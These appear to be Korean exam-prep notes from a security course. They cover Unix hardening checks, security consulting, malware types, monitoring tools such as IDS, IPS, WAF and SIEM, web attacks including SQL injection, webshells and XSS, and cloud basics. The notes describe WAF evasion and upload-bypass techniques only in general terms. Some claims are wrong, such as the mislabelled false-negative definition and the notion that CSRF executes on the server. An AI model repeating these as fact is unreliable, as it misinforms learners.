Banner 설정이 필요한 서비스 : ssh, telnet, named, sendmail, ftp (로그인이 가능한 데몬)
U-70 expn, vrfy 명령어 제한 VRFY, EXPN 명령어를 통하여 특정 사용자 계정의 존재유무를 알 수 있고, 사용자의 정보를 외부로 유출 할 수 있습니다. 이를 방지하기 위해 SMTP 서비스의 expn, vrfy 명령을 사용하지 못하게 옵션을 설정해야 합니다.
ps -ef | grep sendmail

 

## U-68
- 저희는 이걸 배너라고 해요
로그인을 할 때 위험성을 알려주는 것
- 목적
  - 버전정보, 어떤 플랫폼 사용하는지 노출 X
  - 사회공학적 기법 : 경고가 붙어있는데 출입한 경우는 처벌의 수위가 달라집니다.
### 로그인이 가능한 서비스
- Telnet, ssh, sendmail, postfix
- ps -ef | grep "telnet\|ssh\|sendmail\|named\|ftp"
```shell
[root@localhost ~]# ps -ef | grep "telnet\|ssh\|sendmail\|named\|ftp"
root      1887     1  0 Aug28 ?        00:00:00 /usr/sbin/sshd
root      8049  1887  0 00:43 ?        00:00:04 sshd: root@pts/0
root      8584  8053  0 04:10 pts/0    00:00:00 grep telnet\|ssh\|sendmail\|named\|ftp
[root@localhost ~]# cat /etc/motd
TEST Server 접근시 허용된 계정만 접근이 가능하며
그외 비인가된 계정은 접근하실 수 없습니다.
```
- named는 DNS 

 

## U-70
- smtp 서비스 사용시 crfy, expn 명령어 사용 금지 설정 여부 점검
- /etc/mail/sendmail.cf
  - O PrivacyOptions - (noexpn,novrfy 또는 goaway)

 

## U-42
- 시스템에서 최신 패치가 적용되어 있는지 점검
- 주요하게 CV취약점이 발생되는 데몬을추려서 버전확인 필요
### 
- openssh
- bash
- named
  - bind 취약점 발생 가능
- glibc
- 로그인 가능(인증 인가 서비스 거부 공격 가능)
  - ftp
  - sendmail
  - openssl
    - 인증서 적용을 하기 위해 필수로 필요한 패킷
    - https
###
- 현재 구성된 서버의 OS가 "CentOS 6.9" 버전으로 "XXXX년 XX월 XX일" 기준으로 EOS(End Of Service)되어 CVE 주요 취약점이 발생될 수 있는 필수 데몬(openssh, glibc, openssl 등)의 최신 패치를 적용할 수 없는 상태입니다.
- major 버전, 6.9 _ 6 이 바뀌면 업데이트 못함
- 데이터 부분 다 백업하고 서버업데이트 후 migration해야 합니다
###
- ad : active directory
  - 사용자와 컴퓨터 그룹이 존재
###
- 언제까지 조치하겠다는 내용 필수
- 심사는 올해만 하고 끝이 아니라 최초진단을 3년 이내로 다시 받게 곧 변함
- 신규 서버의 구축 완료기간, Data Migration 완료 기간을 산정해서 보안담당자에게 확인을 받고 이를 결과보고서 내 Comment로 기입해야 함

 

6. 환경분석 (주관식 난이도 상)

 

 

 

주요통신기반시설점검(관리)

 

  1. 자산 관련 (자산 위협 취약성 ? )
  2. 위험평가는 안들어감

 

정보보호 전문가

정보보호 전문가로 “기관, 기업의 정보보호 문제점을 찾아 중요한 정보자산(시스템) 안전하게 유지될 수 있도록 도와주는 일”을 하는 사람

  • 보안 시스템 운영자/관리자
  • 보안 소프트웨어 개발자
  • 보안시스템 엔지니어
  • 보안관제(침해대응, 모니터링)

정보보호 컨설턴트

  • 침해대응 전문가
  • 모의해커(화이트해커)
  • 디지털 포렌식 전문가
  • 정보보호체계 설계

정보보호 컨설턴트의 역량 

  • 관련 분야에 대한 지식
  • 문제의 분석 및 진단 능력
  • 의사소통 기술
  • 해결 및 실행력

보안 컨설팅 프로젝트는 기업, 기관의 법률 준수 의무, 보안 사고 및 이슈, 상위기관 보안감사 등의 이유로 진행

 

 

컨설턴트 무엇을 먼저 알아두어야하나?

 

1. 정보보호체계/인증제도

  • KISA ISMS_P 기준
  • ISO27001 기준

2. 정부정책 규제 방향

  • 개인정보보호법
  • 정보통신망법
  • 전자금융거래법
  • 신용정보의 이용 및 보호에 관한 법률

3. 비즈니스 형태 이해

  • 금융회사
  • 공공기관
  • 온라인쇼핑
  • 비즈니스
  • 공공기관서비스

정보보호 컨설팅 서비스 영역

  • 취약점 진단
  • 모의해킹
  • 모바일앱
  • 정보보호 관리체계
  • ISMS인증
  • ISO27001인증
  • 개인정보보호 컨설팅
  • 법률 준거성 분석

 

인터뷰 준비 및 진행 -> 현황분석(분석 Framework 만들기) -> 체크리스트 만들기 -> 착수단계 -> 중간단계 -> 종료단계 

 

 

주요정보통신기반시설

  • 민간, 공공 시설을 불문하고 침해사고 등이 발생할 경우 국가안정보장과 경제사회에 미치는 피해규모 및 범위가 큰 시설 (예: IDC, ISP, 은행, 철도, 항만, 행정, 교육 등 )
  • 국가안전보장, 행정, 통신, 금융, 의료 등 국가·사회적으로 중요한 시설을 주요정보통신기반시설로 지정·관리

주요정보통신 기반시설 취약점 분석, 평가 관련 법령

  • 기반시설지정 기준
    1. 전자적 침해행위로부터 보호가 필요하다고 인정되는 정보통신기반시설을 주요정보통신기반시설로 지정
      1. 기관이 수행하는 업무의 국가사회적 중요성
      2. 기관이 수행하는 업무의 정보통신기반시설에 대한 의존도
      3. 다른 정보통신기반시설과의 상호연계성
      4. 피해규모 및 범위
      5. 침해사고의 발생가능성 또는 그 복구의 용이성
  • 취약점 진단반 구성 및 진단
    1. 취약점을 분석, 평가하는 전담반을 구성하여야 한다.
    2. 「정보보호산업의 진흥에 관한 법률」 제23조에 따라 지정된 정보보호 전문서비스 기업

 

 

 

1. 정보보호 컨설팅 서비스 영역 > 주요정보통신 기반시설 취약점 분석 및 평가

 

취약점 분석, 평가란?

취약점 분석 평가란, 악성코드 유포, 해킹 등 사이버 위협에 대한 주요정보통신 기반시설의 취약점을 종합적으로 분석 및 평가.개선하는 일련의 과정을 말함

 

수행 주체 : 관리기관, 외부기관

* 외부기관 : 한국인터넷진흥원, 정보공유분석센터, 한국전자통신연구원, 정보보호전문 서비스 기업 등

■ 수행주기 : 1년

■ 평가대상

주요정보통신기반시설의 세부시설로 정의된 정보보호 대상 자산(정보시스템, 제어시스템)

■분석,평가 절차

1단계 : 취약점 분석,평가 계획 수립

2단계 : 취약점 분석,평가 대상 선별

3단계 : 취약점 분석 수행

4단계 : 취약점 평가 수행

 

1. 위험의 구성 요소

자산(Asset) : 조직이 보호해야할 대상으로 정보, 하드웨어, 소프트웨어, 시설 등

위협(Threats) : 자산에 손실을 초래할 수 있는 원치 않는 사건의 잠재적 원인

취약성(Vulnerability) : 자산의 잠재적 속성으로서 위협의 이용 대상이 되는 것

 

 

악성코드 분석

 

시험문제 (악성코드 행위중)

 

 

1. 악성파일, 모든 파일에서 타임스탬프는 얼마든지 조작이 가능하다. → 신뢰할 수 없다.

타임스템프 영역은 악성코드 제작자가 분석을 방해하기 위해서, text 값을 가공할 수 있다.

 

 

2. 정보유출용 악성코드 중 개인정보 악성코드 명이 뭐인가?

정보 유출을 목적으로 하는 악성코드는 여러 가지가 있지만, 대표적인 예로는 "키로거(Keylogger)", "트로이목마(Trojan)", "스파이웨어(Spyware)" 등이 있습니다. 이들은 사용자의 개인정보를 수집하거나 유출하는 데 사용됩니다.

 

 

행위에 따른 분류

  1. 스파이웨어 : 사용자환경의 브라우저 정보, 시스템정보, 뱅킹정보 등을 탈취하는 악성코드
  2. 트로이목마 : 정상 프로그램으로 위장, 악의적인 공격코드의 실행을 유도하는 악성코드

 

목적에 따른 분류

  1. 인포스틸러
    1. 시스템 정보 및 뱅킹, 브라우저 등 감염된 시스템의 정보를 수집하는 악성코드
    2. 개인의 경우 정보탈취 및 금전피해 유발, 국가 및 조직의 경우 민간정보 탈취가 주요 목적
  2. 키로거
    1. 사용자가 입력한 키 값을 가로채서 행위의 기록을 탈취하는 악성코드
    2. 사용자가 직접 입력한 기록을 가져가기 떄문에 뱅킹정보와 같은 정보를 주로 목적으로 함
  3. 랜섬웨어
    1. 파일이나 드라이브를 암호화하여 복호화를 빌미로 금전을 요구하는 악성코드
    2. 초기에는 암호화 기능만 수행하였으나, 정보탈취 DDoS등 다중협박 전략으로 피해자를 압박해 협상금액을 높이는 형태로 발전

 

3. 악성코드, 정보유출 중 개인정보나 브라우저에 PC, 쿠키 정보를 수집하는 악성코드가 무엇인가

정보유출형 ~ 쿠키 캐시를 수집하는 악성코드 명

 

스파이웨어

 

 

 

보안관제 이론

 

시험 문제

난이도 하 2 중 1 ~ 2 상 1~2

SIEM

 

방화벽 (네트워크 트래픽을 필터링) = IP/PORT,Protocol 주소 기반의 접근 차단 위주의 방어 

• OSI 7 Layer 기준 3계층 기반에서 작동(수행 범위는 3~4계층)

 

TCP Wrapper = 서비스 기반의 방어

 

IDS의 등장

  • 트래픽을 실시간으로 모니터링(미러링)
  • 공격 패턴, 시그니처를 기반으로 공격 탐지
  • 호스트 또는 네트워크를 기반으로 침입 탐지
  • 정상 트래픽 및 동작을 학습한 후 비정상 행위 탐지
  • 차단X → 탐지
  • 신호로 오탐(False positive), 정탐(False Negative)을 구분지어 발생시킨다.
  • 비정상 행위를 탐지할 수 있는 시그니처, 즉 탐지정책의 필요성 증가
  • 탐지 이후의 대응은 IDS 장비를 통해 대응이 불가능
  • IDS와 방화벽을 통해 DDoS 방어 시도

IDS의 문제점

  • DDos 공격 대응 실패
  • 탐지만 하고 차단할지 결정은 사람이 하기 때문에 오탐(False positive) 발생
  • 직접적인 공격의 차단이 불가능하다(미러링)
  • 탐지 이후의 대응은 IDS 장비를 통해 대응이 불가능
  • 2000년대 기술의 발전과 공격방식의 발전에 따라 다음 단계의 보안장비가 필요

IPS의 등장(2000년대) - IDS + packet filtering system

  • IDS의 기능에 차단기능을 추가하여 실시간 위협 차단
  • DoS, DDoS 탐지 및 차단 가능(대규모 트래픽→전문 DDoS 장비 필요)
  • 자동으로 탐지와 차단이 가능해짐

IPS의 문제점

  • 웹 어플리케이션을 목표로 하는 공격(Injection, XSS…)을 탐지 및 차단하지 못함
  • 내부자 위협에 대한 방어 수단X
  • 클라우드 환경에서의 물리적 장비의 한계(2010년대)

WAF(Web Application F/W)의 등장

  • 어플리케이션 계층의 공격을 방어하는데 특화
  • SSL/TLS 트래픽을 복호화 하여 공격 차단

DLP(Data Loss Prevention)의 등장 

  • 데이터 유출을 방지하기 위하여 네트워크, 엔드포인트 모니터링
  • 비인가 행위를 차단하여 내부자 위협 방어

APT(Advanced Persistent Threat)장비 등장

  • 랜섬웨어, 크립토재킹 등 다양한 공격 방식과 지속적 공격을 방어하기위해 샌드박스 형식의 보안장비 개발

UTM장비 등장

  • 다양한 보안 장비를 하나의 장비로 통합(F/W, IDS/IPS, DLP, APT…)


샌드박스

  • 안전한 환경에서 프로그램이나 파일을 실행하여 악성 코드나 보안 위협을 분석하고 차단하는 기능을 가진 장비
  • 격리된 공간에서 실행되기 때문에, 실제 시스템에 영향을 미치지 않고 위험을 평가할 수 있습니다. 주로 악성코드 탐지, 네트워크 보안, 애플리케이션 테스트 등에서 사용되며, 사이버 공격에 대한 방어 수단으로 효과적입니다.

 

 

ESM(Enterprise Security Management)

  • 보안장비를 통합하여 중앙 집중 관리
  • F/W, IDS/IPS, VPN…
  • 보안 정책 수립, 시행에 맞는 보안, 관리적 목적
  • 보안관리체계에 집중한 방식

1. SIEM (보안 정보 및 사건 관리)

  • 조직의 보안 상태를 모니터링하고 관리하기 위한 솔루션입니다.
  • SIEM 시스템은 다양한 소스에서 로그와 이벤트 데이터를 수집하고, 이를 분석하여 보안 위협을 탐지하고 대응하는 데 도움을 줍니다.
  • 보안장비 및 모든 자원에서 발생한 로그 통합(빅데이터기반)
  • 관리되는 자원의 모든 로그를 통합하여 상관 분석
  • 실시간 위협 탐지와 연관성 분석이 가능
  • 시나리오를 통한 위협 분석이 가능

SOAR(보안 오케스트레이션, 자동화 및 대응)

  • 보안 팀이 보안 사건을 보다 효율적으로 관리하고 대응할 수 있도록 돕는 플랫폼입니다. SOAR의 주요 기능은 다음과 같습니다:
  • 사이버 위협에 대한 업무의 자동화
  • Playbook을 통한 보안 위협 유형에 따른 업무 자동화
  • AI 기반 지능형 보안관제 시스템
  • 빅데이터 기반의 SIEM과 연계 및 위협 인텔리전스 연동
  • 보안 전문 인력 부족 문제 해결
  • 오케스트레이션: 다양한 보안 도구와 시스템을 통합하여 서로 간의 작업을 조정하고 자동화합니다.
  • 자동화: 반복적인 보안 작업을 자동화하여 인적 오류를 줄이고, 보안 팀의 효율성을 높입니다.
  • 사건 대응: 보안 사건 발생 시 신속하게 대응할 수 있는 프로세스를 제공하여 사건 처리 시간을 단축합니다.
  • 협업 기능: 보안 팀 내에서 원활한 커뮤니케이션과 협업을 지원하여 사건 해결을 가속화합니다.
  • 보고 및 분석: 사건 대응 과정과 결과를 기록하고 분석하여 지속적인 개선을 도모합니다.

SOAR 플랫폼은 보안 운영을 최적화하고, 위협 탐지 및 대응 능력을 강화하는 데 중요한 역할을 합니다.

 

보안관제 유형

1. 원격관제

2. 파견과제

3. 하이브리드 관제

4. 클라우드 관제

 

 

  • DNS 포트번호 53
  • 400 클라이언트 오류 (Bad Request): 클라이언트의 요청이 잘못되어 서버가 이해할 수 없음을 나타냅니다.
  • 500 서버 오류 (Internal Server Error): 서버가 요청을 처리하는 중에 내부 오류가 발생하여 요청을 완료할 수 없음을 나타냅니다.
  • 300 여러 선택지 (Multiple Choices): 요청한 리소스에 대해 여러 가지 선택지가 존재함을 나타냅니다.
  • 301 영구 이동 (Moved Permanently): 요청한 리소스가 영구적으로 다른 URL로 이동했음을 나타냅니다. 클라이언트는 새로운 URL을 사용해야 합니다.
  • 302 임시 이동 (Found): 요청한 리소스가 임시적으로 다른 URL로 이동했음을 나타냅니다. 클라이언트는 원래 URL을 계속 사용해야 합니다.
  • 304 수정되지 않음 (Not Modified): 클라이언트가 요청한 리소스가 수정되지 않았음을 나타내며, 클라이언트는 캐시된 버전을 사용할 수 있습니다.

Snort

오픈 소스 네트워크 침입 탐지 시스템(NIDS) 및 침입 방지 시스템(NIPS)으로, 

네트워크 트래픽을 실시간으로 모니터링하고 분석하여 잠재적인 공격이나 악성 활동을 탐지하는 데 사용됩니다.

 

  • 패킷 캡처: 네트워크를 통해 흐르는 패킷을 캡처하여 분석합니다.
  • 침입 탐지: 미리 정의된 규칙에 따라 패킷을 분석하여 악성 코드나 공격 패턴을 탐지합니다.
  • 침입 방지: 탐지된 공격에 대해 자동으로 차단 조치를 취할 수 있습니다.
  • 로그 및 보고: 탐지된 이벤트에 대한 로그를 기록하고, 필요한 경우 경고를 생성합니다.
  • 유연한 규칙 설정: 사용자가 규칙을 정의하여 특정 트래픽을 필터링하거나 모니터링할 수 있습니다.

Snort는 강력하고 유연한 보안 솔루션으로, 다양한 환경에서 널리 사용되고 있습니다.

 

 

 

보안관제 실무

1. (시험)보안관제 구성요소 - 객관식 예상

  1. Process (관제 방법론)
    - 조직과 규모, 목표에 따른 절차
    - 위기대응 메뉴얼
    - 유관 부서간 역할 정의
  2. People (숙련된 인력)
    - 역할별 기능을 수행하기 위한 인력

    - 운영 방법
    - 직접운영 / 위탁운영
  3. System(모니터링 Tool/인프라)
    - 보안관제 모니터링
    - 침해사고 대응 관리 시스템
    -  다양한 분석 시스템

 

 

 

2. (시험)방화벽 NAT - (방화벽, NAT 개념 둘 다 알아야함)

 

사설 IP를 공인 IP에 필요한 주소 변환 서비스, 방화벽을 활용하여 다수의 사설 IP를 하나의 공인 IP주소로 변환하는 기술

  • 공인 IP 주소 절약 : 인터넷상의 공인 IP는 한정되어 있는데, 점점 그 수요가 많아 지고 있어서 공인 IP 주소가 고갈될 우려가 있음
  • 보안 강화 : 내부에서 사설 IP 사용을 통해 외부에서 서버나 인터넷 장비에 직접적인 접근을 하지 못하게 함

내부 -> 외부

내부 특정사설 IP가 특정공인 IP 또는 대역 으로 변경되어 나가는 형태

 

외부->내부

하나의 공인 IP에 내부서버로 1:1로 접속되는 형태

 

 

 

3.(시험) SQL Injection

  • 웹 클라이언트의 반환 메시지를 이용하여 불법 인증 및 정보를 유출하는 공격 방법으로 웹 응용 프로그램이나 파라미터 값에 강제로 SQL 질의문을 삽입하여 응답값을 통해 내부 데이터베이스 서버의 데이터를 유출 및 변조하고 관리자 인증을 우회하는 공격기법
  • 웹 서버로 전달된 SQL 질의문은 데이터베이스 정보가 일치할 경우 질의문에 해당하는 'True' 값을 반환하고 일치하지 않을 경우 'False' 값을 반환, 이때 에러메시지를 통해 2차 공격을 시도할 수 있다.

 

공격 영향

  • 인증 절차 우회 가능
  • 데이터베이스에 저장된 데이터 값을 열람/삭제/수정 가능
  • 시스템 명령어 조작으로 운영 시스템에 영향

 

Webshell 공격

  • 웹페이지인 웹(Web)과 서버에 명령을 내려 실행하기 위한 인터페이스 역할의 쉘(Shell)의 합성어로써 웹 페이지에서 서버에게 명령을 실행하기 위해 만들어진 프로그램
  • 웹 서버(PHP, ASP, JSP 등)의 다양한 취약점 등을 타깃으로 공격하여 웹 서버에 Webshell을 업로드 한 후 웹 브라우저를 통해 업로드한 Webshell을 실행하여 침투한 서버상의 정보유출 및 변조, 악성코드 유포 등 웹 공격에 활용됨
  • 대표적인 공격형태로 확장자 우회공격, 자바스크립트 우회공격, MIMI Type 우회, 그림파일을 이용한 한 줄 웹쉘 등이 있다.

공격 영향

  • 관리자 권한 탈취 및 내부망 접근하여 내부 자료 및 개인정보 유출 가능
  • 웜 / 바이러스 배포서버로 악용

대응 방안

  • 확장자 제어: 허용된 확장자 외에는 업로드 금지, 정의된 확장자 차단
  • Directory List 취약점 제거 : 서버 내 파일 / 폴더 등을 확인하여 소스코드, 웹 페이지 구조가 노출 되는 것을 사전 제거

 

 

Command/Code Injection(Execution)

  • 시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 공격 기법
  • 주로 취약한 함수를 사용하거나 변수 입력 값 미 검증으로 인해 발생되며 과거에 발생된 Bash Shell Shock가 대표적이다.

공격 영향

  • 해당 공격이 유효성이 있을 경우, 웹 어플리케이션을 구동하고 있는 시스템 계정의 Shell 권한(관리자 권한 등) 을 획득하는 것과 같음

대응 방안

  • 지정되어 있는 변수 입력 값 외에 다른 값들이 들어왔을 경우 차단
  • 운영체제의 시스템 명령어가 사용자 입력에 의해 존재하는지 확인하고 불필요한 요청 시 차단
  • 확인되지 않은 사용자 입력을 파이프라인, open() 명령 등으로 전달하지 않음

 

XSS(Cross Site Scripting)

  • 컨텐츠를 암호화/검증하는 절차 없이 사용자가 제공하는 데이터를 어플리케이션에서 받아들이거나 웹 브라우저로 보낼 때 발생되는 공격
  • JavaScript, VBScript 등과 같이 CSS(Client Side Script) 특징을 가진 언어로 작성된 악성 스크립트를 웹 페이지/게시판/메일 등에 포함시켜 사용자에게 전달하고 이를 사용자가 열람하였을 때 악성 스크립트가 실행됨

공격 영향

  • 악성 스크립트가 삽입된 게시판에 접근한 사용자를 대상으로 웜/바이러스 배포
  • 사용자의 세션 정보를 탈취하여 재사용 가능(사용자가 관리자일 경우 관리자 계정 탈취 기능)

대응 방안

  • 쿠키 값에 인증/권한 등의 중요 정보가 기록되지 않게 하거나 쿠키 인증 방식이 아닌 세션 인증 방식으로 변경
  • 스크립트 코드에 사용되는 특수문자에 대한 적절한 필터링
  • 사용자가 게시판에 사용할 수 있는 HTML 포맷만을 허용

 

 

4. (시험) SIEM 구성 및 이해

 

Manager

  • 경보 감사 데이터 발생 시, 다양한 알람 기능을 처리(Sound, Email, SMS, 스크립트, SNMP)
  • 감사 데이터 및 설정 데이터 저장을 위한 데이터베이스 백업 및 삭제관리를 스케쥴링 처리
  • 모든 자체 감사 데이터를 생성하고, 데이터베이스에 저장

Console

  • 사용자 및 에이전트 그룹 관리, 구성관리, 수집조건, 연관성 분석, 데이터베이스 백업 및 삭제 관리 등 모든 설정 화면을 제공

Agent

  • 관리대상 장비로부터 수집한 로그를 정해진 규칙에 따라 정규화하고, 수집조건 규칙과 비교하여 매니저로의 전송 여부를 결정
  • 매니저로 전송 전에 동일 패턴으로 구분되는 이벤트는 축약 처리하여 네트워크 및 데이터베이스 등의 부하를 최소화
  • Agent 방식 - Agent설치 됌

각 장비마다 Agent(데이터 수집 및 판단) 가 있어야함

  • Agentless 방식 - Agent설치가 안되고 sys로그만 던져주는 방식

SIEM 구성 3가지 요소

Agent - Manager(Back-end) - Console(front-end)

 

 

5. (시험)외부 침입으로부터의 방안

 

공격자

  • 1단계 대량트래픽차단시스템 (DDOS) → 패킷 많이 들어오면 네트워크 과부하, 시스템한테 가는거니까 서비스가 안되는 것

서비스 자원 고갈, 서비스 거부 공격방어

  • 2단계 침입방지시스템 IPS (In-line mode (IPS), sniffing (IDS) 미러링 떠서 데이터만 탐지할 수 있게 하는것)

비정상 패킷 차단

  • 3단계 침입차단시스템 (방화벽)

비정상 세션 차단, IP,PORT 제어

  • 4단계 악성메일차단 (URL, 악성 첨부파일을 차단)

스펨메일 차단, 악성 유포지 경로, 악성 첨부파일 차단

  • 5단계 웹 안전도 검사 시스템 (홈페이지 바탕화면 바꾸는것, 기존이랑 변경된 사항이 있는지 확인하고 차단한다. )

웹 서비스 위변조 대응 (문자, 이미지 크기 변경)

  • 6단계 웹방화벽 (WAF)

웹 공격, 정보유출 차단

  • 7단계 서버보안, 감사

자원/프로세스 접근제어, 사용자 계정 및 로그감사

  • 8단계 DB암호화, 접근제어

DB 중요정보 암호화, DB 사용자 인증 및 로그감사, 명령어 제어

 

정보시스템

 

 

 

 

 

 

AWS 클라우드 기초 및 구조 / 실습

강사가 확실하게 집어주지 않음 강의한 자료 한번 다 봐야함

 

클라우드 서비스의 형태는 어떤 것인가 IaaS , PaaS, SaaS

클라우드 컴퓨팅은 무엇인가

클라우드란 무엇인가

클라우드 서비스 보안강화를 위해 루트 계정에 추가하는 기능이 무엇인가

 

 

1. 클라우드 서비스의 형태는 어떤 것인가 IaaS , PaaS, SaaS

 

IaaS, PaaS, SaaS

  • Infrastructure as a Service(IaaS) : 서버/네트워크/스토리지 등의 리소스 제공
  • Platform as a Service(PaaS) : 애플리케이션이 작동하는데 필요한 플랫폼 제공
  • Software as a Service(SaaS) : 클라우드 제공자가 전용 애플리케이션까지 제공

 

2. 클라우드 컴퓨팅은 무엇인가

 

Cloud Service 예시

  • 개발자나 벤더는 비즈니스나 업무에 필요한 Applcation을 개발
  • 개발 된 Application은 AWS 인프라 위에 배포하여 서비스를 제공함

On-Premise vs Cloud

  • On premise : 서비스에 필요한 모든 리소스를 기업안에서 관리 → 초기투자 비용 높음
  • Cloud : 컴퓨터 리소스를 빌려주는 기업과 계약을 맺고 필요한 만큼만 리소스를 대여 → 초기투자 비용 낮음

(참고)

클라우드 컴퓨팅은 인터넷을 통해 데이터 저장, 관리, 처리 등의 컴퓨팅 자원을 제공하는 기술입니다. 사용자는 물리적인 서버나 하드웨어에 의존하지 않고, 필요한 만큼의 자원을 언제든지 필요에 따라 사용할 수 있습니다. 주요 특징은 다음과 같습니다.

  1. 유연성: 필요에 따라 자원을 쉽게 확장하거나 축소할 수 있습니다.
  2. 비용 효율성: 초기 투자 비용이 적고, 사용한 만큼만 지불하는 모델이 일반적입니다.
  3. 접근성: 인터넷만 있으면 언제 어디서나 데이터와 애플리케이션에 접근할 수 있습니다.
  4. 자동화: 시스템 관리와 유지 보수가 자동화되어 있어 사용자에게 편리함을 제공합니다.

주요 서비스 모델로는 IaaS(인프라 서비스), PaaS(플랫폼 서비스), SaaS(소프트웨어 서비스)가 있습니다.

 

 

3. 클라우드 서비스 보안강화를 위해 루트 계정에 추가하는 기능이 무엇인가

 

루트 사용자 보안 강화하는 법

  • MFA : 비밀번호 외에 추가적인 인증 수행
  • 대표적인 예시로 은행에서 사용하는 OTP가 있음

 

 4. 클라우드란 무엇인가

 

클라우드와 클라우드 컴퓨팅은 밀접하게 관련되어 있지만 약간의 차이가 있습니다.

  1. 클라우드:
    • 클라우드는 인터넷을 통해 제공되는 데이터 저장소, 서버, 네트워크 등 다양한 자원을 포괄하는 개념입니다.
    • 일반적으로 클라우드는 자원과 서비스의 집합체로 이해할 수 있습니다.
  2. 클라우드 컴퓨팅:

컴퓨팅, 스토리지, 소프트웨어, 네트워크와 같은 IT 자원들을 인터넷을 통해 필요한 만큼 빌려 쓰고 사용한 만큼 비용을 지불하는 서비스 

 

 

5. 제로트러스트 아키텍처 보안에 특징

Nothing is ever 100% secure

- given enough time, resources, and motivation, an attacker can break any system

6. 실습 → s3의 기능 서비스 이름 정도 어떤건지 구별 (버츄얼머신, 스토리지 등)

카테고리 서비스 설명
컴퓨팅 EC2 리눅스/윈도우 등을 운영 할 수 있는 서버
스토리지 S3 대량의 데이터를 저장하기 위한 저장소
관리 및 거버넌스 Cloud Watch AWS로 구축한 서비스 모니터링 수행
보안,자격 증명 및 규정 Identity and Access Management(IAM) AWS의 리소스를 사용하기 위한 사용자 및 권한 설정
네트워킹 및 컨텐츠 VPC 가상 네트워크 인프라스트럭쳐 구축
청구 및 비용 Billing and Cost Management 월별 운용 및 비용관리

7. 클라우드 네이티브라면 어떤 조건을 갖춰야하는가

클라우드네이티브는 태어났을때부터 클라우드여야한다.

Cloud Native (AWS native: 당근마켓, 배달의민족 등…)

 

 

Cloud Native Design

  • 클라우드의 이점을 최대로 활용할 수 있도록 애플리케이션을 구축하고 실행하는 방식

 

Cloud Native technologies

  • 클라우드 환경에서 확장성있는 애플리케이션을 개발하고 실행할 수 있게 해준다. 컨테이너, 서비스 메쉬, 마이크로서비스, 불변 인프라, 선언형 API가 이러한 접근 방식의 예시들이다.
  • 이 기술은 회복성, 관리 편의성, 가시성을 갖춘 느슨하게 결합된 시스템을 가능하게 한다. 견고한 자동화 기능을 함께 사용하면, 엔지니어는 영향이 큰 변경을 최소한의 노력으로 자주, 예측 가능하게 수행할 수 있다.

8. 시스템 공유를 하면서 효율성을 증대시키는게 클라우드인데, 가상머신에 특성들, 어떤 걸 기반으로 만들어지고 작동되는지

가상 머신의 작동 기반

  1. 하이퍼바이저: 가상 머신을 생성하고 관리하는 소프트웨어로, 하드웨어와 VM 간의 중재 역할을 합니다. 타입 1(베어 메탈)과 타입 2(호스트 기반) 하이퍼바이저가 있습니다.
  2. 가상화 기술: VT(Intel Virtualization Technology)나 AMD-V와 같은 하드웨어 가상화 기술이 가상 머신의 성능을 향상시키고, 효율적인 자원 관리를 가능하게 합니다.
  3. 운영 체제: 각 가상 머신은 독립적인 운영 체제를 실행할 수 있으며, 이를 통해 다양한 환경에서의 애플리케이션 실행이 가능합니다.
  4. 클라우드 서비스 모델: IaaS(Infrastructure as a Service), PaaS(Platform as a Service), SaaS(Software as a Service)와 같은 다양한 클라우드 서비스 모델을 통해 가상 머신을 제공하고 관리합니다.

 

MSA(Microservice architecture)

  • independent development and deployment -> mixed technology stack
  • fault isolation : even if one service does not work, the system still works
  • granular scaling : individual components can scale as per need

MSA 문제점

  • SW복잡성에 따른 이슈
  • 시스템 보안성 이슈
    • 분산 소프트웨어의 구성 요소는 통신을 위해 별도의 API 및 포트를 사용하기 때문에 발생
    • 분산 소프트웨어 구성 요소 간 복잡한 의존성으로 인해, 개발팀 조차 전체 구조를 파악하기 어려움

 

VT(Virtualization Technology) 장점 및 단점

 

하이퍼바이저는 여러 운영 체제를 동시에 실행할 수 있도록 해주는 소프트웨어입니다. 물리적인 서버 위에 가상 머신을 생성하고 관리하는 역할을 하며, 두 가지 유형으로 나눌 수 있습니다:

  1. 타입 1 하이퍼바이저: 하드웨어 위에서 직접 실행되며, 성능이 뛰어나고 보안성이 높습니다. 예: VMware ESXi, Microsoft Hyper-V.
  2. 타입 2 하이퍼바이저: 기존 운영 체제 위에서 실행되며, 사용자 친화적입니다. 예: VMware Workstation, Oracle VirtualBox.

TYPE -2 Hypervisor

게스트 운영 체제(Guest OS)는 가상화 환경에서 하이퍼바이저 위에서 실행되는 운영 체제

 

https://brandonlog.tistory.com/category/Information%20Technology/Cyber%20security%20basic 

 

LXC (Linux Containers)

- Birth Background of LXC

OS레벨 가상화 기법을 통해 단일 컨트롤 호스트 상에서 여러 개의 고립된 리눅스 시스템들을 구동하기 위한 환경 제공

- 완전한 가상머신 제공대신, 고유한 프로세스와 네트워크 스페이스를 가진 가상 환경을 제공

- cgroups와 namespace를 결합하여 애플리케이션을 위한 고립된 구동환경 제공

Docker또한 실행 드라이버의 하나로 LXC를 사용할 수 있으며, 이를 통해 이미지 관리와 개발 서비스를 제공 가능

 

 

 

cgroups(Control Groups) : Defend against DOS Attacks

 

namespace : Provide processes with their own view of the system

 

VPC(Virtual Private Cloud)는 클라우드 서비스 제공자가 제공하는 가상 네트워크

 

NAT : private subnet의 경우 인터넷에 접근할 수있지만, 인터넷에서는 접근 할 수 없어야함 (이와 같은 서비스 제공해주는 시스템이 NAT) 

 

로드밸런서

모의해킹

주관식

 

1. request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지

get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨

post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함

 

2. xss , csrf 방식이 뭐가 다른지

xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.

 

3. db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요

퀴리나 db 가 들어가면 SQL injection 이다.

 

4. 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인

 

5. 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가

패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)

  • 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
  • URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
